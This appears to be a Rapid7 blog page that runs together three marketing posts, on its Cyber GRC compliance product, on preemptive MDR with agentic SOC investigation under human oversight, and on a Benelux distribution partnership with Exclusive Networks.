Why compliance needs to move at the speed of security
For years, compliance work followed a familiar rhythm: prepare for the audit, gather evidence, prove the control, respond to findings, and start over when the next framework, customer review, or regulatory requirement arrives.
That rhythm works in conflict with how security teams operate today. Modern environments change continuously. Assets appear, cloud configurations drift, access permissions change, vulnerabilities emerge, vendors introduce risk, and remediation work is always in motion.
This leaves a widening gap between the state of the environment and the state of the evidence. A control that looked effective during the last audit may drift weeks later. A remediation effort may reduce risk, but the compliance record may not reflect it. A new exposure may change the risk tied to a control before the next review begins.
Boards and customers are asking for something more credible than periodic audit readiness. They want to understand whether security work is actually improving control health and reducing risk over time.
That is the shift from audit prep to continuous cyber assurance, built on better context and closer alignment between teams. As Bill Theissen, Managing Partner and VP of Consulting Services at Cyber Watch Systems, put it, “What excites me most about Rapid7 Cyber GRC is its ability to use existing security data, asset inventories, and API connectivity to produce more accurate, timely, and defensible risk reporting. Just as important, it helps bridge security engineering and GRC teams through a shared view of risk and a common language for communicating it.”
Cyber GRC is designed to support that shift by making governance, risk, and compliance part of how security teams prioritize, act, and prove progress. Compliance should not only document security activity after the fact - it should help show how that activity makes the business safer.
How Cyber GRC connects action to proof
Rapid7 Cyber GRC brings core GRC workflows into one place, including compliance program management, control monitoring, evidence collection, policy management, audit preparation, risk management, third-party risk management, exceptions, and reporting. Instead of managing those workflows in separate tools, teams can connect them to security context from the environment they are actively protecting.
Cyber GRC helps teams operationalize that model in a few practical ways:
Control monitoring helps teams see where requirements are being met and where gaps need attention.
Evidence workflows help teams collect, organize, and reuse proof across frameworks instead of rebuilding it for every audit.
Policy management helps link policies to controls, so teams can understand how documentation supports readiness.
Risk and issue workflows help teams assign ownership, track remediation, and prioritize work based on business and security context.
The value of that model is not just administrative efficiency. Security teams need confidence that controls are operating as intended, not simply that a control exists on paper. A policy may be in place without the control performing effectively. A remediation ticket may be closed without the underlying risk truly being reduced. Control testing and monitoring help close that gap by showing whether controls are functioning as expected, while issue and remediation workflows connect those findings to owners and next steps.
By connecting controls, evidence, risk, issues, policies, and remediation activity, Cyber GRC gives SecOps, IT, GRC, and compliance teams a shared view of where they stand and what needs to happen next.
Why third-party risk needs to be part of the same workflow
Third-party risk has become too significant to sit outside the rest of the security and compliance program. As organizations rely on more outside services, software, and vendors, they need a way to connect vendor risk to the same controls, evidence, remediation, and reporting workflows used internally. Verizon’s 2026 DBIR found that breaches involving third parties increased 60% from the previous year’s dataset and accounted for 48% of total breaches, which makes that connection harder to treat as optional.
Cyber GRC brings third-party risk management into the same operating picture by combining vendor oversight, control tracking, issue management, and evidence workflows in one place. That gives teams a more coherent way to assess external dependencies, understand where vendor risk affects control posture, and track action without creating yet another disconnected program.
Give leadership a better risk story
CISOs are under pressure to show progress in a way executives and boards can understand, and audit status alone does not tell the whole story.
Cyber GRC helps teams connect day-to-day security and compliance activity to higher-level reporting, including control health, readiness status, open risks, remediation progress, third-party dependencies, and evidence coverage. That gives leaders a clearer view of which gaps matter most, what is being done about them, and how security work is reducing risk.
IDC’s Phil Harris, Research Director for Governance, Risk, and Compliance (GRC) Solutions at IDC put this challenge into context: “Organizations face severe audit fatigue. The disconnect between compliance workflows and security operations creates significant operational drag, particularly when teams still rely on point-in-time spreadsheets and manual evidence collection.”
What makes that more useful is the quality of the underlying context. When controls, evidence, vulnerabilities, risk, and remediation are tied together, leadership gets a stronger basis for understanding not just whether the organization is compliant, but whether its controls are keeping pace with the way risk is actually developing.
Why Rapid7
Security leaders have an opportunity to make compliance more connected, more useful, and closely aligned to the work already happening across their security program.
Rapid7 approaches Cyber GRC as part of a broader security program. What makes that more useful is the quality of the underlying context. When controls, evidence, vulnerabilities, risk, and remediation are tied together, leadership gets a stronger basis for understanding not just whether the organization is compliant, but whether its controls are keeping pace with the way risk is actually developing.
That connection is at the core of what makes this solution different. Compliance proof is stronger when it is grounded in security context, not assembled after the fact from disconnected tools and static reports. With Rapid7 Cyber GRC, teams can move from documenting compliance activity to showing how security work is improving control health and reducing risk in real time.
"Tying GRC workflows directly into SecOps data is a strong approach because it allows CISOs to seamlessly align tangible security outcomes with compliance requirements. SecOps teams handle the heavy lifting in modern environments, and replacing manual, point-in-time audit preparation with continuous monitoring grounded in active security context, addresses a massive operational pain point for organizations," concluded IDC’s Phil Harris.
See how Rapid7 Cyber GRC can help your team turn security operations into continuous cyber assurance.
For years, security operations followed a familiar sequence: detect suspicious activity, investigate what happened, and respond before it caused significant harm. That model developed in a threat landscape where defenders had considerably more time to establish the facts and decide what to do next. In 2019, the average data breach took 206 days to identify and another 73 days to contain, creating a total breach lifecycle of 279 days.
As the time between initial access and attacker movement continues to contract, security teams are being asked to operate within a much narrower window. AI is accelerating reconnaissance, vulnerability discovery, and campaign execution, while defenders are responsible for growing volumes of data across cloud, identity, endpoint, SaaS, and AI environments, often without equivalent growth in analyst capacity.
Managed detection and response is evolving to meet those conditions by connecting exposure intelligence, machine-speed investigation, and human expertise. This approach helps security teams identify credible risks sooner, understand their potential impact, and intervene earlier in the attack lifecycle.
MDR must move beyond alert-driven investigations
When suspicious activity generates an alert, traditional MDR typically moves into investigation mode. Analysts gather information about the affected asset or identity, correlate activity across security tools, establish the scope of the incident, and determine the appropriate response.
Although each step is necessary, much of the initial work involves finding and organizing information rather than applying expert judgment. Analysts can spend valuable time collecting asset details, checking vulnerabilities, validating signals, and reconstructing context before the investigation can progress.
Recent research conducted with Omdia found that 93% of security leaders agree AI improves analyst efficiency by automating repetitive tasks. Giving machines responsibility for routine evidence gathering and correlation allows analysts to focus their time on complex investigations, business impact, and response decisions.
Preemptive MDR connects exposure and detection
Exposure management and security operations often provide different views of the same environment. Exposure teams understand which vulnerabilities, assets, identities, and attack paths present risk, while detection and response teams see activity as it unfolds. Connecting these views gives analysts more context at the beginning of an investigation.
Preemptive MDR brings asset criticality, internet exposure, vulnerability data, and threat intelligence directly into the SOC workflow. When an alert appears, analysts can immediately see why the affected asset matters, which weaknesses may be involved, and whether the activity aligns with known attacker behavior.
The same context can also support action before an alert fires. Intelligence indicating stolen credentials or compromised sessions can be surfaced before an attacker uses them, while newly disclosed vulnerabilities can be assessed against the organization’s assets and business priorities. MDR teams can then guide remediation towards the exposures most likely to create a viable route into the environment.
By moving exposure intelligence closer to detection and response, investigations begin with a clearer understanding of what is happening and where action will have the greatest effect.
Agentic SOC capabilities accelerate investigation
By bringing security data together across the environment, connected context creates the foundation for agentic SOC capabilities. Security investigations require evidence gathering, correlation, validation, and scoping, with many of these tasks repeated across every alert.
AI agents can perform elements of that work in parallel by examining telemetry, connecting related activity, testing possible explanations, and presenting analysts with a structured account of what happened, what is at risk, and which actions are available. Analysts can then review the evidence and apply their understanding of the organization, its priorities, and the potential consequences of a response.
While AI can accelerate much of the investigation process, human oversight remains essential to the way this model operates. The same Omdia research found that 92% of security leaders believe analysts should retain responsibility for final decisions, while 90% view human oversight as essential to the accuracy and reliability of AI-driven processes.² Agentic SOC capabilities can support that balance by accelerating repeatable investigation work while keeping analysts responsible for decisions that require judgment and accountability.
Connected security data strengthens AI-driven MDR
Because security AI can only work with the data and context available to it, the quality of that foundation has a direct impact on the investigation. An investigation is more useful when the system can connect an alert to the affected user, asset, vulnerability, cloud resource, and wider attack path without requiring an analyst to search across several tools.
Rapid7’s data mesh brings together asset, cloud, configuration, exposure, event, and alert data in a normalized layer. This gives AI-driven investigations access to connected security context at the point of analysis and helps reduce the manual work involved in reconstructing it.
From faster response to continuous defense
Bringing exposure intelligence, connected security data, AI-driven investigation, and human expertise into the same operating model creates a continuous defense loop. Exposure context helps teams identify where attackers are most likely to find an opening, detection reveals how those risks are being used in practice, and response reduces the opportunities available to the next attacker.
This approach allows MDR to contribute beyond the investigation of individual alerts. Each incident can improve future detection and prioritization, while exposure insights can guide action before suspicious activity develops into a larger event. Analysts gain the context to make better decisions, and automation gives them more time to focus on the threats and business risks that require their expertise.
The next evolution of MDR will be defined by how effectively providers connect these capabilities. By combining preemptive insight with machine-speed investigation and accountable human decision-making, security teams can act earlier, investigate faster, and continuously strengthen their defenses as the threat environment changes.
Rapid7 will showcase upcoming investments in Preemptive MDR and Agentic SOC at Black Hat USA in Las Vegas, August 3–6, 2026.
Claudia Zoon is Senior Manager, Channel Sales at Rapid7.
Across Belgium, the Netherlands, and Luxembourg, organizations are accelerating digital transformation through AI, cloud adoption, and increasingly connected business operations. These investments are creating new opportunities for innovation, but also reshaping the cybersecurity landscape.
In this dynamic environment, Rapid7 is excited to announce an expanded strategic distribution partnership with Exclusive Networks across the Benelux region. Why now? Because as organizations grow, so too do the expectations of security teams. As attack surfaces expand, more sophisticated AI-enabled threats emerge; as compliance requirements evolve, leaders expect security to scale right along with the business – all without adding unnecessary complexity.
In this chaotic environment, cybersecurity customers are demanding experiences that create more calm. This means no more disconnected security tools or reactive approaches, but integrated security operations, trusted expertise, and partners who can help them improve visibility and build long-term cyber resilience.
Supporting a rapidly evolving market
The Benelux region has long been at the forefront of digital innovation. As organizations continue modernizing their infrastructure, they're also preparing for increasingly rigorous cybersecurity requirements through regulations such as NIS2 and DORA. Along these lines, operational resilience has become a board-level priority, making it more important than ever for security teams to simplify operations while maintaining visibility across their environments.
Meeting these expectations requires more than technology; it requires partners who understand the regional market, can provide specialist expertise, and help customers navigate an increasingly complex cybersecurity landscape.
Why specialist partnerships matter
Channel partners play a critical role in acting as trusted advisors who help organizations modernize security operations through technology evaluation, solution implementation, and long-term security strategy build-out.
Our expanded partnership with Exclusive Networks reflects Rapid7's continued investment in supporting that partner ecosystem.
Exclusive Networks has established itself as one of the region's leading specialist cybersecurity distributors, combining deep technical expertise with a partner-first approach that prioritizes enablement, collaboration, and long-term growth. Together, we're making it easier for partners to access the technical resources, training, and support needed to deliver stronger outcomes for their customers.
Helping partners grow
Rapid7's AI-powered cybersecurity operations platform helps organizations simplify security operations by unifying exposure management, threat detection and response, managed services, and security automation into one platform.
Combined with Exclusive Networks' cybersecurity expertise, technical enablement, and regional support, partners are better positioned to expand managed security services, strengthen customer relationships, and deliver integrated cybersecurity solutions that reduce complexity and improve cyber resilience.
Looking ahead
Cybersecurity success increasingly depends on strong partnerships that combine innovative technology with local expertise and long-term collaboration.
Rapid7 and Exclusive Networks share a commitment to helping partners grow and enabling organizations across Belgium, the Netherlands, and Luxembourg to modernize security operations with confidence.
We're excited about the opportunities ahead and look forward to working together to help partners build stronger cybersecurity practices and deliver measurable and positive outcomes for customers across the Benelux region.
Ready to grow with Rapid7? Learn more about the Rapid7 PACT Partner Program and discover how Rapid7 and Exclusive Networks are helping partners strengthen cybersecurity operations across the Benelux region.
Login
.png){kind=logo}
.jpeg)
